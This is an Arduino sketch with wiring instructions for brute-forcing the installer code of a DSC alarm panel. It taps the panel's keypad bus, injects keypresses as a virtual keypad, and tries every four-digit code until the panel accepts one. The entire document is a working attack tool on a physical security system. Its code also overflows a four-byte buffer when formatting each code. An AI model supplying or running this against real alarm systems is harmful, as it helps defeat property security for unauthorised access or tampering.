DSC alarm brute force installer code

/*
    DSC Keybus Bruteforce 1.0 (Arduino)

    Connect the Arduino to the keypad lines as shown below, including the optional "Virtual Keypad".
    Press *8 to enter installer programming mode, and the process will start. When the correct code is found, it will stop,
    so leave your serial monitor open!

    Wiring:
        DSC Aux(+) --- Arduino Vin pin

        DSC Aux(-) --- Arduino Ground

                                           +--- dscClockPin (Arduino Uno: 2,3)
        DSC Yellow --- 15k ohm resistor ---|
                                           +--- 10k ohm resistor --- Ground

                                           +--- dscReadPin (Arduino Uno: 2-12)
        DSC Green ---- 15k ohm resistor ---|
                                           +--- 10k ohm resistor --- Ground

    Virtual keypad (optional):
        DSC Green ---- NPN collector --\
                                        |-- NPN base --- 1k ohm resistor --- dscWritePin (Arduino Uno: 2-12)
              Ground --- NPN emitter --/

    Virtual keypad uses an NPN transistor to pull the data line low - most small signal NPN transistors should
    be suitable, for example:
     -- 2N3904
     -- BC547, BC548, BC549

*/

#include <dscKeybusInterface.h>

// Configures the Keybus interface with the specified pins - dscWritePin is optional, leaving it out disables the
// virtual keypad.
#define dscClockPin 3  // Arduino Uno hardware interrupt pin: 2,3
#define dscReadPin 5   // Arduino Uno: 2-12
#define dscWritePin 6  // Arduino Uno: 2-12
dscKeybusInterface dsc(dscClockPin, dscReadPin, dscWritePin);

uint16_t currentCode = 0;


void setup() {
  Serial.begin(115200);
  Serial.println();
  Serial.println();

  // Optional configuration
  dsc.hideKeypadDigits = false;      // Controls if keypad digits are hidden for publicly posted logs (default: false)
  dsc.processRedundantData = false;  // Controls if repeated periodic commands are processed and displayed (default: true)
  dsc.processModuleData = true;      // Controls if keypad and module data is processed and displayed (default: false)
  dsc.displayTrailingBits = false;   // Controls if bits read as the clock is reset are displayed, appears to be spurious data (default: false)

  // Starts the Keybus interface and optionally specifies how to print data.
  // begin() sets Serial by default and can accept a different stream: begin(Serial1), etc.
  dsc.begin();

  Serial.println(F("DSC Keybus Interface is online."));
}


void loop() {

  // Reads from serial input and writes to the Keybus as a virtual keypad
  if (Serial.available() > 0 && dsc.writeReady) {
    dsc.write(Serial.read());
  }

  if (dsc.handlePanel()) {

    if (dsc.panelData[0] == 0x05) {
      if (dsc.panelData[3] == 0xB7) {
        Serial.print ("enter installer code...");
        sendNextCode();
      } else if (dsc.panelData[3] == 0x8F) {
        Serial.println ("...WRONG CODE");
      }
    }
  }
}

void sendNextCode() {

char buf[4];
  sprintf (buf, "%04d", currentCode);
  Serial.print (buf);
  Serial.print ("...");
  for (int i=0; i<sizeof(buf); i++) {
    dsc.write (buf[i]);
    delay(200);
  }
  currentCode++;
}